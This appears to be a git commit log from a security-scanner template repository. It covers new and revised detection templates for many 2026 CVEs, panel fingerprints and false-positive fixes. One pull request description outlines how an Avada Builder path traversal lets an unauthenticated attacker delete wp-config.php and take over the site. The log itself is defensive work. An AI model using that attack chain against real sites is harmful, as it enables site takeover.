ghost b2ef372abb chore: generate CVEs metadata 🤖 2026-07-22 17:44:11 +00:00
Dhiyaneshwaran 343b0766c7 Merge pull request #16636 from inokii/bug/cve-2025-29635-http-not-javascript
Fix CVE-2025-29635 classification type
2026-07-22 23:13:53 +05:30
Matthew Kienow eb146fc60a Fix CVE-2025-29635 classification type
Correct the component type for CVE-2025-29635 to an HTTP template
rather than JavaScript.
2026-07-22 13:26:09 -04:00
Ritik Chaddha 5554c4b483 Update CVE-2026-31831.yaml 2026-07-22 21:57:53 +05:30
ghost edc652d6e0 chore: generate templates checksum 🤖 2026-07-22 15:51:07 +00:00
ghost 38d69eac06 chore: sign templates 🤖 2026-07-22 15:48:34 +00:00
Dhiyaneshwaran e89cdbfb4a Merge pull request #16628 from kadewu/kiali-panel-fp
reduce kiali panel fp
2026-07-22 21:18:10 +05:30
Ritik Chaddha f14b063535 Update CVE-2025-55746.yaml 2026-07-22 20:33:37 +05:30
stopic-lab 08fc921997 Added CVE-2026-8713: Avada Builder Arbitrary File Deletion
This PR adds a new template for CVE-2026-8713, a critical vulnerability in the Avada (Fusion) Builder plugin for WordPress (versions up to 3.15.3).

The vulnerability exists in the maybe_delete_files() function within the Fusion_Form_DB_Entries class. Due to insufficient validation of the file_path parameter, an unauthenticated attacker can perform a directory traversal to delete arbitrary files on the server.

Impact:
A successful attack allows the deletion of sensitive files such as wp-config.php. Deleting wp-config.php resets the WordPress installation, allowing an attacker to re-install the site and gain full administrative control (RCE).

Vulnerability Details
CVE ID: CVE-2026-8713
Severity: Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected Plugin: Avada (Fusion) Builder
Affected Versions: <= 3.15.3
Vulnerability Type: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') leading to Arbitrary File Deletion.
References
https://nvd.nist.gov/vuln/detail/CVE-2026-8713
https://www.wordfence.com/blog/2026/06/critical-unauthenticated-arbitrary-file-deletion-vulnerability-patched-in-avada-builder-wordpress-plugin/
https://www.falconinternet.net/blog/avada-builder-cve-2026-8713-wp-config-deletion-wordpress
Checklist
[x] I have tested the template logic against the described endpoint.
[x] The template follows the Nuclei v3 format.
[x] Proper metadata (tags, CVSS, etc.) is included.
[x] Reference links are provided.
2026-07-23 00:24:23 +09:30
Ritik Chaddha ef2ec6b454 Update CVE-2024-42323.yaml 2026-07-22 20:17:04 +05:30
Ritik Chaddha 2c778474c8 Update CVE-2024-42323.yaml 2026-07-22 20:15:57 +05:30
Ritik Chaddha 82b326c34a Update CVE-2024-56511.yaml 2026-07-22 20:14:35 +05:30
Ritik Chaddha e0e68d1264 Update CVE-2024-56511.yaml 2026-07-22 20:07:54 +05:30
Ritik Chaddha eed358670c Update chatwoot-login-panel.yaml 2026-07-22 19:05:52 +05:30
Ritik Chaddha d341fd7da6 Update langfuse-panel.yaml 2026-07-22 18:42:17 +05:30
Ritik Chaddha 610edf11e2 Update vllm-openai-api-exposed.yaml 2026-07-22 18:30:10 +05:30
ghost efa56541ba chore: generate templates checksum 🤖 2026-07-22 12:17:22 +00:00
ghost ae4fd557a1 chore: generate new addition list 🤖 2026-07-22 12:15:49 +00:00
ghost c0b536291f chore: generate CVEs metadata 🤖 2026-07-22 12:15:05 +00:00
ghost 57573c57fe chore: sign templates 🤖 2026-07-22 12:15:01 +00:00
Roberto Nunes 39978dd341 Merge pull request #16627 from projectdiscovery/CVE-2026-6875
CVE-2026-6875 - ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE
2026-07-22 21:14:42 +09:00
kadewu 9c5965e82a reduce kliali panel fp 2026-07-22 13:36:57 +02:00
Dhiyaneshwaran 1359291f5f CVE-2026-6875 - ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE 2026-07-22 16:24:59 +05:30
ghost 2397fab0b7 chore: generate templates checksum 🤖 2026-07-22 05:57:57 +00:00
pussycat0x 0c7acbe01d Merge pull request #16600 from zer0p0intvvv/docs/add-zer0p0int-social-profile
Add zer0p0int contributor social profile
2026-07-22 11:27:33 +05:30
ghost ab097b07fc chore: generate templates checksum 🤖 2026-07-22 04:33:17 +00:00
ghost e93642c9e8 chore: sign templates 🤖 2026-07-22 04:31:02 +00:00
Roberto Nunes fa3c3c4c30 Merge pull request #16616 from anupamme/fix-repo-nuclei-templates-fix-remove-aws-key-cve-2024-51482
fix: aws access key id value detected in CVE-2024-51482.yaml...
2026-07-22 13:30:41 +09:00
Roberto Nunes 7052f5c7da Create CVE-2026-8385.yaml 2026-07-22 13:29:44 +09:00
ghost 43d43cc4e4 chore: update KEV and vKEV tags and metadata 🤖 2026-07-22 04:06:03 +00:00
ghost a51cd98c49 chore: update EPSS scores 🤖 2026-07-22 03:00:02 +00:00
Dhiyaneshwaran 37eca2c8b6 CVE-2026-58455 - Dockwatch <= 0.6.567 - Unauthenticated OS Command Injection 2026-07-22 01:14:08 +05:30
Dhiyaneshwaran f686a73751 Update CVE-2026-22683.yaml 2026-07-21 23:44:41 +05:30
Dhiyaneshwaran f8bcf78955 CVE-2026-22683 - Windmill < 1.603.3 - Operator Authorization Bypass via Folder Management 2026-07-21 23:39:31 +05:30
Dhiyaneshwaran e7d551c398 CVE-2026-23696 - Windmill < 1.603.3 - Authenticated SQL Injection via Folder Permissions 2026-07-21 23:11:18 +05:30
ghost 1c48d2f992 chore: generate templates checksum 🤖 2026-07-21 17:02:50 +00:00
ghost 82d56d1c74 chore: generate new addition list 🤖 2026-07-21 17:00:43 +00:00
ghost abc88399a6 chore: sign templates 🤖 2026-07-21 17:00:10 +00:00
ghost ee710265bc chore: generate CVEs metadata 🤖 2026-07-21 17:00:02 +00:00
Ritik Chaddha 2eccf5f388 Merge pull request #16563 from xtronix2000/CVE-2026-33497
Add CVE-2026-33497 Langflow Unauthenticated Path Traversal
2026-07-21 22:29:45 +05:30
Dhiyaneshwaran 2e1e12ce7e Update windows-command-injection.yaml 2026-07-21 20:53:33 +05:30
ghost 9426659ffb chore: generate templates checksum 🤖 2026-07-21 15:22:45 +00:00
ghost 13b3bfe1b5 chore: generate new addition list 🤖 2026-07-21 15:21:46 +00:00
ghost 6bf0116f63 chore: generate new addition list 🤖 2026-07-21 15:20:58 +00:00
Ritik Chaddha 6bce521b02 Merge pull request #16565 from righettod/solife_add
Add detection of "Vermeg Solife" login panel instances.
2026-07-21 20:50:38 +05:30
ghost f39aa32590 chore: sign templates 🤖 2026-07-21 15:20:13 +00:00
Ritik Chaddha c1ee0f00c4 Merge pull request #16613 from projectdiscovery/CVE-2026-3296
CVE-2026-3296 - Everest Forms WordPress Plugin <= 3.4.3 - Unauthenticated PHP Object Injection
2026-07-21 20:49:52 +05:30
Ritik Chaddha 1fa7ee39c8 Update CVE-2026-33497.yaml 2026-07-21 20:49:48 +05:30
ghost e536fd003c chore: generate templates checksum 🤖 2026-07-21 15:16:32 +00:00
ghost 5cb4738c37 chore: generate new addition list 🤖 2026-07-21 15:15:09 +00:00
ghost 665ca830d9 chore: generate CVEs metadata 🤖 2026-07-21 15:14:24 +00:00
ghost 8364376377 chore: sign templates 🤖 2026-07-21 15:14:21 +00:00
Ritik Chaddha f0b174087b Merge pull request #16572 from projectdiscovery/Akokonunes-patch-10
Create CVE-2026-52773.yaml - YesWiki Archived Revision - Reflected XSS
2026-07-21 20:43:58 +05:30
ghost 28701a1efe chore: sign templates 🤖 2026-07-21 15:13:49 +00:00
Ritik Chaddha d3ad4804b4 Update CVE-2026-3296.yaml 2026-07-21 20:43:48 +05:30
ghost 211897826b chore: generate new addition list 🤖 2026-07-21 15:13:34 +00:00
Ritik Chaddha 9283582017 Merge pull request #16580 from projectdiscovery/16576-FALSE-POSITIVE]-Mailpit-<-1.28.2---SMTP-CRLF-Injection-CVE-2026-23829
[FIX FALSE-POSITIVE] Mailpit < 1.28.2 - SMTP CRLF Injection (CVE-2026-23829)
2026-07-21 20:43:28 +05:30
ghost e78d527291 chore: generate CVEs metadata 🤖 2026-07-21 15:12:54 +00:00
ghost f892e74033 chore: sign templates 🤖 2026-07-21 15:12:50 +00:00
Ritik Chaddha dcdb0c3535 Merge pull request #16594 from projectdiscovery/CVE-2026-15409
CVE-2026-15409 - SonicWall SMA1000 - Unauthenticated SSRF via WebSocket Proxy
2026-07-21 20:42:28 +05:30
Dhiyaneshwaran 5d87b691c2 Refine Unix Command Injection detection configuration
Updated the Unix Command Injection YAML configuration to enhance clarity and detail in the detection process. Adjusted payloads and regex patterns for improved accuracy and added new references.
2026-07-21 20:39:59 +05:30
Ritik Chaddha 528c71f759 Merge branch 'main' into 16576-FALSE-POSITIVE]-Mailpit-<-1.28.2---SMTP-CRLF-Injection-CVE-2026-23829 2026-07-21 20:38:49 +05:30
Ritik Chaddha 3fd1ad6fa8 Update CVE-2026-52773.yaml 2026-07-21 20:38:41 +05:30
Ritik Chaddha 3fefcf558f Update CVE-2026-15409.yaml 2026-07-21 20:37:05 +05:30
Ritik Chaddha 8edc684b96 Update CVE-2026-3296.yaml 2026-07-21 20:36:15 +05:30
wujiecong 86279ec839 Add CNVD-2021-35876 Alibaba Sentinel - Default Login 2026-07-21 22:04:20 +08:00
ghost b017d7eb92 chore: sign templates 🤖 2026-07-21 13:36:13 +00:00
Dhiyaneshwaran e4bba23f31 Merge pull request #16614 from kazet/severity-fix-a7dfec36609d
Severity fix
2026-07-21 19:05:52 +05:30
Dhiyaneshwaran 794b030f81 Update directory-listing-no-host-header.yaml 2026-07-21 18:57:00 +05:30
ghost 33e8d30ac3 chore: sign templates 🤖 2026-07-21 13:01:47 +00:00
Dhiyaneshwaran 2884726c69 Merge pull request #16620 from projectdiscovery/co-author-fix
Update author field for CVE-2024-23108
2026-07-21 18:31:27 +05:30
ghost 429f7b4d10 chore: generate new addition list 🤖 2026-07-21 12:54:02 +00:00
ghost 93c6b37dee chore: generate CVEs metadata 🤖 2026-07-21 12:53:06 +00:00
ghost 47f675833e chore: sign templates 🤖 2026-07-21 12:53:03 +00:00
pussycat0x d3be30ee65 Merge pull request #16555 from panchiko-p/add_CVE-2026-56290
Add template for CVE-2026-56290 unauthenticated file upload detection
2026-07-21 18:22:42 +05:30
ghost 8dd28f475f chore: generate new addition list 🤖 2026-07-21 11:16:21 +00:00
ghost b56ba315dc chore: sign templates 🤖 2026-07-21 11:15:39 +00:00
pussycat0x 578d5d691a Merge pull request #16617 from projectdiscovery/Akokonunes-patch-7
Create 9router-default-login.yaml
2026-07-21 16:45:16 +05:30
ghost 2528361125 chore: generate new addition list 🤖 2026-07-21 10:14:26 +00:00
ghost eba813853b chore: sign templates 🤖 2026-07-21 10:13:39 +00:00
Dhiyaneshwaran 842c064c78 Merge pull request #16608 from Th3l0newolf/Deskpro-OPC
Add Deskpro On-Premise Controller default page detection
2026-07-21 15:43:18 +05:30
Dhiyaneshwaran 36bd0d74a5 Rename deskpro-on-premise-controller-panel-default-page.yaml to deskpro-on-default-page.yaml 2026-07-21 15:35:38 +05:30
Dhiyaneshwaran cc18c3fa9b Update deskpro-on-premise-controller-panel-default-page.yaml 2026-07-21 15:35:16 +05:30
Dhiyaneshwaran 5931ac277c Update CVE-2023-34992 YAML with detailed info 2026-07-21 15:18:15 +05:30
Dhiyaneshwaran c4da04fbde Update author field for CVE-2024-23108 2026-07-21 15:13:57 +05:30
pussycat0x a2e1d17dc7 Update deskpro-on-premise-controller-panel-default-page.yaml 2026-07-21 14:44:51 +05:30
Aman Rawat 8e303bbee3 Update directory-listing-no-host-header.yaml 2026-07-21 11:05:42 +05:30
ghost 47b5b37845 chore: generate new addition list 🤖 2026-07-21 05:35:20 +00:00
ghost dcf7110b27 chore: generate new addition list 🤖 2026-07-21 05:35:12 +00:00
ghost f80bc11d4d chore: sign templates 🤖 2026-07-21 05:34:36 +00:00
Aman Rawat cd8e02ff3c Merge pull request #16615 from projectdiscovery/CVE-2026-52824
CVE-2026-52824 - Kimai <= 2.57.0 - Default APP_SECRET Authentication Bypass
2026-07-21 11:04:17 +05:30
Aman Rawat 1516b96c58 Merge pull request #16609 from Aryu-RU/add-cve-2026-1980
Add CVE-2026-1980 - WPBookit <= 1.0.8 - Unauthenticated Customer Information Disclosure
2026-07-21 11:04:06 +05:30
Roberto Nunes eb69a3bcbb Clarify security risk in default login description
Updated the description to clarify the security risk associated with default credentials.
2026-07-21 14:12:02 +09:00
Roberto Nunes 740e611f2d Create 9router-default-login.yaml 2026-07-21 14:03:11 +09:00
orbisai0security 65b6fd477c fix: generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value security vulnerability
Automated security fix generated by OrbisAI Security
2026-07-21 04:22:43 +00:00
ghost 90e6fb6f33 chore: generate new addition list 🤖 2026-07-21 04:19:18 +00:00
ghost 0ac024a418 chore: generate CVEs metadata 🤖 2026-07-21 04:18:29 +00:00
Roberto Nunes 19695cb71e Merge pull request #16599 from SmigsDeLaMigs/cve-2026-15094
CVE-2026-15094 - WP Hotel Booking <= 2.3.2 - Reflected Cross-Site Scr…
2026-07-21 13:18:10 +09:00
ghost a5f5258f5f chore: update KEV and vKEV tags and metadata 🤖 2026-07-21 04:04:36 +00:00
ghost 1bcc5eda27 chore: generate new addition list 🤖 2026-07-21 04:01:38 +00:00
ghost 4cf69bad7a chore: sign templates 🤖 2026-07-21 04:01:23 +00:00
Roberto Nunes a4329400d4 Merge pull request #16592 from daffainfo/patch-796106
Rename smb-default-creds to smb-default-login
2026-07-21 13:01:04 +09:00
ghost 48f40e874c chore: sign templates 🤖 2026-07-21 04:00:51 +00:00
ghost 767b97cdb9 chore: generate CVEs metadata 🤖 2026-07-21 04:00:47 +00:00
Roberto Nunes 7b9b4cb79d Merge pull request #16610 from projectdiscovery/CVE-2026-46442
CVE-2026-46442 - Flowise < 3.1.2 - node-custom-function Unauthorized RCE
2026-07-21 13:00:31 +09:00
ghost df6065226b chore: generate new addition list 🤖 2026-07-21 04:00:21 +00:00
ghost f59ca17b5d chore: sign templates 🤖 2026-07-21 03:59:43 +00:00
ghost 09f4940688 chore: generate CVEs metadata 🤖 2026-07-21 03:59:35 +00:00
Roberto Nunes 6353f22356 Merge pull request #16606 from projectdiscovery/CVE-2026-54836
CVE-2026-54836 - YMC Filter - SQL Injection
2026-07-21 12:59:16 +09:00
Roberto Nunes 0241bcdb06 Update CVE-2026-1980.yaml 2026-07-21 12:55:05 +09:00
Roberto Nunes 1fe22abcf0 Update CVE-2026-1980.yaml 2026-07-21 12:48:29 +09:00
ghost e25330ed8c chore: update EPSS scores 🤖 2026-07-21 03:00:38 +00:00
Roberto Nunes f6302af90c Update CVE-2026-56290.yaml 2026-07-21 11:43:23 +09:00
Dhiyaneshwaran 570c4232d2 CVE-2026-52824 - Kimai <= 2.57.0 - Default APP_SECRET Authentication Bypass 2026-07-20 22:16:25 +05:30
ghost 2935d63aeb chore: sign templates 🤖 2026-07-20 15:33:39 +00:00
pussycat0x c419912f87 Merge pull request #16575 from sec-mlot/patch-3
fix: unauthenticated-jenkins matcher covers both title variants
2026-07-20 21:03:14 +05:30
ghost 7fcb6009d0 chore: generate new addition list 🤖 2026-07-20 15:00:28 +00:00
pussycat0x 81db78ddb0 Update unauthenticated-jenkins.yaml 2026-07-20 20:30:17 +05:30
ghost f2c837e0d0 chore: sign templates 🤖 2026-07-20 14:59:40 +00:00
pussycat0x fbe8fad501 Merge pull request #16607 from Th3l0newolf/Deskpro
Deskpro Private Controller default page detection
2026-07-20 20:29:20 +05:30
ghost f9c5f612c9 chore: generate new addition list 🤖 2026-07-20 14:58:19 +00:00
ghost 8f656c25de chore: sign templates 🤖 2026-07-20 14:57:36 +00:00
pussycat0x abcf295049 Merge pull request #16593 from projectdiscovery/sonicwall-panel
SonicWall Secure Mobile Access (SMA) Panel - Detection
2026-07-20 20:27:10 +05:30
ghost 251aa17b77 chore: generate new addition list 🤖 2026-07-20 12:23:26 +00:00
ghost 54b59dd638 chore: sign templates 🤖 2026-07-20 12:22:44 +00:00
Dhiyaneshwaran 34b2b23142 Merge pull request #16438 from hdm/ai-llm-detect-templates
Add AI/LLM inference + MCP server detection templates
2026-07-20 17:52:23 +05:30
Krzysztof Zając ebf2208754 Severity fix 2026-07-20 13:58:18 +02:00
ghost 8667c483a6 chore: generate new addition list 🤖 2026-07-20 09:04:14 +00:00
ghost 990ef1e358 chore: generate CVEs metadata 🤖 2026-07-20 09:03:34 +00:00
Aman Rawat 33c89606a8 Merge pull request #16611 from projectdiscovery/CVE-2026-8732
CVE-2026-8732 - WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation
2026-07-20 14:33:12 +05:30
Dhiyaneshwaran 2a40b5b5a6 CVE-2026-3296 - Everest Forms WordPress Plugin <= 3.4.3 - Unauthenticated PHP Object Injection 2026-07-20 14:18:58 +05:30
Th3l0newolf [ Chinmay Divekar] 3f8a7c4bbb Add Chatwoot Login Panel detection 2026-07-20 01:38:54 -07:00
Ritik Chaddha f10eb8733e updated matchers & added flow 2026-07-20 13:48:03 +05:30
Dhiyaneshwaran 677e9842f4 CVE-2026-8732 - WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation 2026-07-20 13:41:04 +05:30
Dhiyaneshwaran 546acdb800 CVE-2026-46442 - Flowise < 3.1.2 - node-custom-function Unauthorized RCE 2026-07-20 13:10:06 +05:30
Aryu-RU 585fa59913 Add CVE-2026-1980 - WPBookit <= 1.0.8 - Unauthenticated Customer Information Disclosure 2026-07-20 07:13:01 +00:00
ghost 36ad6634de chore: generate new addition list 🤖 2026-07-20 07:12:27 +00:00
ghost df7b9ebe91 chore: sign templates 🤖 2026-07-20 07:11:43 +00:00
Aman Rawat 5f6ee0aa2b Merge pull request #16584 from halilkirazkaya/halilkirazkaya-patch-5
add bizzy panel
2026-07-20 12:41:21 +05:30
Aman Rawat 0cdb3899c7 Update torchserve-detect.yaml 2026-07-20 12:29:36 +05:30
ghost d917db5843 chore: sign templates 🤖 2026-07-20 06:56:09 +00:00
Ritik Chaddha 261ab99403 added co-author 2026-07-20 12:25:49 +05:30
Dhiyaneshwaran 5c06a8c288 Update and rename deskpro-private-controller-panel-default-page.yaml to deskpro-default-page.yaml 2026-07-20 12:24:17 +05:30
Aman Rawat 2e3a25bb29 Update 2026-07-20 12:14:22 +05:30
Aman Rawat a312518c16 Update 2026-07-20 11:50:24 +05:30
Aman Rawat 02c7a068fd Removed duplicate templates 2026-07-20 11:40:58 +05:30
Aman Rawat f7984febf9 Update CVE-2026-42796.yaml 2026-07-20 11:27:41 +05:30
ghost b36c0b3b44 chore: generate new addition list 🤖 2026-07-20 05:49:27 +00:00
ghost 21686c66fc chore: generate CVEs metadata 🤖 2026-07-20 05:48:43 +00:00
Th3l0newolf [ Chinmay Divekar] a7c513fab6 Add Deskpro On-Premise Controller default page detection 2026-07-19 22:48:42 -07:00
ghost 7cbb79a794 chore: sign templates 🤖 2026-07-20 05:48:41 +00:00
Dhiyaneshwaran d820d40050 Merge pull request #16604 from projectdiscovery/Akokonunes-patch-7
Clarify CVE-2026-9282.yaml - W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read
2026-07-20 11:18:22 +05:30
Th3l0newolf [ Chinmay Divekar] fefde09089 Deskpro Private Controller default page detection
Added detection for Deskpro Private Controller default page.
2026-07-19 22:27:50 -07:00
Aman Rawat 39ea466b93 Create CVE-2026-54836.yaml 2026-07-20 10:56:10 +05:30
Aman Rawat 6a35c5d20c Update CVE-2026-15094.yaml 2026-07-20 10:52:57 +05:30
ghost 59fba5c0f9 chore: sign templates 🤖 2026-07-20 05:19:18 +00:00
Roberto Nunes c0e288a783 Merge pull request #16590 from daffainfo/patch-586159
Enhance CVE-2024-22476 YAML
2026-07-20 14:18:54 +09:00
dependabot[bot] e45889898b chore(deps): bump actions/setup-python from 6 to 7
Bumps [actions/setup-python](https://github.com/actions/setup-python) from 6 to 7.
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](https://github.com/actions/setup-python/compare/v6...v7)

---
updated-dependencies:
- dependency-name: actions/setup-python
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-07-20 05:15:17 +00:00
Dhiyaneshwaran 84c178e0dd Merge branch 'main' into patch-586159 2026-07-20 10:42:37 +05:30
Dhiyaneshwaran 1a7dfb4029 Update bizzy-panel.yaml for login detection 2026-07-20 10:41:18 +05:30
Dhiyaneshwaran 9800425de3 Update bizzy-panel.yaml 2026-07-20 10:35:38 +05:30
ghost 580a208917 chore: sign templates 🤖 2026-07-20 05:02:11 +00:00
Roberto Nunes 494c465903 Merge pull request #16589 from projectdiscovery/flow-preventing-req
prevent creds-stuffing/token-spray templates from sending requests wi…
2026-07-20 14:01:50 +09:00
ghost 2e02d8b531 chore: sign templates 🤖 2026-07-20 05:01:36 +00:00
Roberto Nunes 23f1a41e35 Merge pull request #16551 from zy9ard3/main
wix takeover fingerprint update
2026-07-20 14:01:12 +09:00
Roberto Nunes 919f146645 Clarify CVE-2026-9282 entry name
Updated the CVE entry name for clarity.
2026-07-20 13:19:54 +09:00
ghost d09fb91884 chore: update EPSS scores 🤖 2026-07-20 03:00:20 +00:00
zer0p0int 68494b26a1 Add CVE-2026-7467 Read More & Accordion Privilege Escalation template 2026-07-19 17:24:18 +08:00
zer0p0int b2ccdb84fa Make zer0p0int contributor profile discoverable
Add the verified GitHub identity while leaving unavailable social fields empty.

Constraint: Only publicly verified profile data is included
Confidence: high
Scope-risk: narrow
Tested: Parsed contributors.json and verified one matching author entry
Not-tested: Repository-wide template validation
2026-07-19 15:56:57 +08:00
ghost 010b0aa4fa chore: update KEV and vKEV tags and metadata 🤖 2026-07-19 04:10:42 +00:00
ghost 0d3624787c chore: update EPSS scores 🤖 2026-07-19 03:00:52 +00:00
SmigsBellamigs 909cd87188 CVE-2026-15094 - WP Hotel Booking <= 2.3.2 - Reflected Cross-Site Scripting via 'check_in_date' Parameter
Nuclei Template for CVE 2026 15094 - The WP Hotel Booking plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'check_in_date' parameter in all versions up to, and including, 2.3.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
2026-07-18 20:42:10 +01:00
Aman Rawat c33446f92b Update CVE-2026-33497.yaml 2026-07-18 14:12:07 +05:30
Aman Rawat 2b609857e7 Update wix-takeover.yaml 2026-07-18 13:47:35 +05:30
Aman Rawat 6487ee18ca Update unauthenticated-jenkins.yaml 2026-07-18 13:43:58 +05:30
ghost 832b30ce23 chore: generate new addition list 🤖 2026-07-18 08:13:37 +00:00
ghost 1d359d6c74 chore: sign templates 🤖 2026-07-18 08:12:59 +00:00
ghost 0dbaee201f chore: generate CVEs metadata 🤖 2026-07-18 08:12:50 +00:00
Aman Rawat 9de76bc955 Merge pull request #16569 from Nivid42/add-cve-2026-56291
Add CVE-2026-56291: Balbooa Forms < 2.4.1 Unauthenticated File Upload
2026-07-18 13:42:33 +05:30
ghost 9934d99544 chore: update KEV and vKEV tags and metadata 🤖 2026-07-18 04:01:20 +00:00
ghost 7fb33ee70a chore: update EPSS scores 🤖 2026-07-18 03:00:11 +00:00
ghost c100704bda chore: generate new addition list 🤖 2026-07-18 01:44:45 +00:00
ghost 441aebbcf0 chore: generate CVEs metadata 🤖 2026-07-18 01:44:09 +00:00
ghost 6e2ddeee73 chore: sign templates 🤖 2026-07-18 01:44:02 +00:00
Sandeep Singh 9e6cb912c9 Added WordPress Core 6.9-7.0.1 - Pre-Auth Blind SQL Injection (CVE-2026-63030) (#16596) 2026-07-18 07:13:40 +05:30
ghost 3a1f8a1063 chore: generate new addition list 🤖 2026-07-17 14:25:53 +00:00
ghost c346859cc2 chore: sign templates 🤖 2026-07-17 14:25:09 +00:00
Dhiyaneshwaran 95ffb32150 Merge pull request #16588 from Eren-Akdag/fix/open-proxy-portscan-false-positive
fix(open-proxy-portscan): reject HTML bodies to prevent WAF false positives
2026-07-17 19:54:49 +05:30
Dhiyaneshwaran f0a30103a1 CVE-2026-15409 - SonicWall SMA1000 - Unauthenticated SSRF via WebSocket Proxy 2026-07-17 18:57:57 +05:30
Aryu-RU b5b5f1419f Add CVE-2026-58138 - Orkes Conductor unauthenticated RCE 2026-07-17 13:10:51 +00:00
Dhiyaneshwaran 08f3a0af5a Update shodan and fofa queries for SonicWall SMA 2026-07-17 18:34:08 +05:30
Dhiyaneshwaran 42e3f39fb8 SonicWall Secure Mobile Access (SMA) Panel - Detection 2026-07-17 18:19:49 +05:30
Muhammad Daffa b9f18fb3fd Rename smb-default-creds to smb-default-login 2026-07-17 17:38:20 +07:00
Muhammad Daffa 435d278c22 Enhance CVE-2024-22476 YAML 2026-07-17 13:45:10 +07:00
Prince Chaddha 9ae718ebfc prevent creds-stuffing/token-spray templates from sending requests without input (#11238) 2026-07-17 10:26:34 +04:00
ghost 2cb2ea94fc chore: generate new addition list 🤖 2026-07-17 04:45:04 +00:00
ghost dc9d751afc chore: sign templates 🤖 2026-07-17 04:44:27 +00:00
ghost 20bd082b10 chore: generate CVEs metadata 🤖 2026-07-17 04:44:21 +00:00
Roberto Nunes 21053487e0 Merge pull request #16578 from m4sh-wacker/patch-3
Add CVE-2026-3891 template for Pix for WooCommerce arbitrary file upload
2026-07-17 13:44:03 +09:00
Roberto Nunes 50f9c83481 Merge pull request #16566 from l46983284-cpu/fix/cve-2026-23550-trailing-slash
fix(CVE-2026-23550): avoid FN on WordPress trailing-slash redirects
2026-07-17 13:43:58 +09:00
ghost 0f30c6aa72 chore: update KEV and vKEV tags and metadata 🤖 2026-07-17 04:02:31 +00:00
ghost fd852e3c3e chore: update EPSS scores 🤖 2026-07-17 03:00:04 +00:00
Roberto Nunes 4b334ee23f Revise CVE-2026-56291 for full exploit template
Updated author, description, impact, and remediation details for CVE-2026-56291. Added variables and modified HTTP request structure.
2026-07-17 11:48:41 +09:00
Eren-Akdag 8e6fd228e2 fix(open-proxy-portscan): reject HTML responses to prevent false positives from WAF/filter block pages
A WAF/content-filter appliance in front of a target can return a generic
HTML block page for the abnormal absolute-URI probe requests used by this
template. If that static page coincidentally contains one of the
differential keywords (e.g. inside an embedded base64 asset), the matcher
fires even though no internal service was actually reached. Reject any
body that looks like an HTML document before accepting a match.
2026-07-17 02:58:45 +03:00
ghost df786fd3bf chore: generate templates stats 🤖 2026-07-16 18:55:49 +00:00
Aryu-RU f6fe15249c Add CVE-2026-42796 Arelle unauthenticated RCE template 2026-07-16 13:53:00 +00:00
halilkirazkaya aa87818989 Fix typo in login URL path 2026-07-16 16:37:55 +03:00
halilkirazkaya 7dd0d0dba6 Add bizzy-panel.yaml for BIZZY login detection 2026-07-16 16:32:17 +03:00
Dhiyaneshwaran d177b8dc0a Update CVE-2026-56291.yaml 2026-07-16 17:47:07 +05:30
Dhiyaneshwaran fef7b96514 Update CVE-2026-3891.yaml with detailed vulnerability info
The CVE-2026-3891.yaml file has been updated to provide a more detailed description of the vulnerability, including the impact and remediation steps. Additionally, the HTTP request steps have been revised for better clarity and functionality.
2026-07-16 17:26:10 +05:30
ghost 7d66fa06cc chore: sign templates 🤖 2026-07-16 10:56:57 +00:00
Roberto Nunes 3b97f2367d Merge pull request #16571 from idealphase/main
Update authors and add another actuator HTTP path
2026-07-16 19:56:38 +09:00
ghost 0d9bdcb7b1 chore: generate new addition list 🤖 2026-07-16 09:57:41 +00:00
ghost eb5c5f332a chore: sign templates 🤖 2026-07-16 09:56:22 +00:00
ghost 8031e3d13e chore: generate CVEs metadata 🤖 2026-07-16 09:56:18 +00:00
Aman Rawat 60304c6c51 Merge pull request #16582 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-8386.yaml - WP Go Maps < 10.0.10 - Unauthenticated Marker Information Disclosure
2026-07-16 15:25:59 +05:30
Dhiyaneshwaran c51b2c6f7f Add status matcher back to Jolokia YAML file 2026-07-16 15:24:00 +05:30
ghost 4fa6768bf2 chore: generate new addition list 🤖 2026-07-16 09:41:48 +00:00
ghost d692bd22b2 chore: sign templates 🤖 2026-07-16 09:41:03 +00:00
Dhiyaneshwaran ec66477bcf Merge pull request #16570 from rxerium/add-qualys-cloud-platform-login
Add Qualys Cloud Platform login panel
2026-07-16 15:10:42 +05:30
Roberto Nunes 5b4a024e3b Create CVE-2026-8386.yaml 2026-07-16 15:59:45 +09:00
iamatownboy fe3fc9d193 Add CVE-2026-30623 template 2026-07-16 15:56:49 +09:00
Th3l0newolf [ Chinmay Divekar] cd95a969ff Add files via upload 2026-07-15 22:28:59 -07:00
ghost 02c06f6296 chore: update EPSS scores 🤖 2026-07-16 03:00:08 +00:00
Roberto Nunes 2e9703c504 Refactor matchers to use regex for response codes 2026-07-16 11:03:03 +09:00
Cole Munz 1b54de6c44 fix: reduce false negatives in exposed-zookeeper template
The existing check only sends the envi four-letter word command, which is
blocked by default since ZooKeeper 3.5.3 unless explicitly whitelisted, so a
stock server reports not-vulnerable even when fully readable. Add a second
request speaking the ZooKeeper client wire protocol (connect handshake plus a
getChildren call on /) to confirm unauthenticated read access to the znode
tree regardless of the 4lw whitelist.

Closes #11076
2026-07-15 16:10:15 -05:00
Mohammad Hossein Sadeghian c6e538b16d Create CVE-2026-3891.yaml 2026-07-15 23:31:51 +03:30
sec-mlot 249f075d65 fix: unauthenticated-jenkins matcher covers both title variants
In newer versions of Jenkins (e.g. 2.541.1) the dashboard page title changed from Dashboard [Jenkins] to Dashboard - Jenkins, causing the current word matcher to produce false negatives. Updated the matcher to cover both variants.
2026-07-15 14:57:46 +02:00
ghost 6bfef5eb29 chore: generate templates checksum 🤖 2026-07-15 12:24:34 +00:00
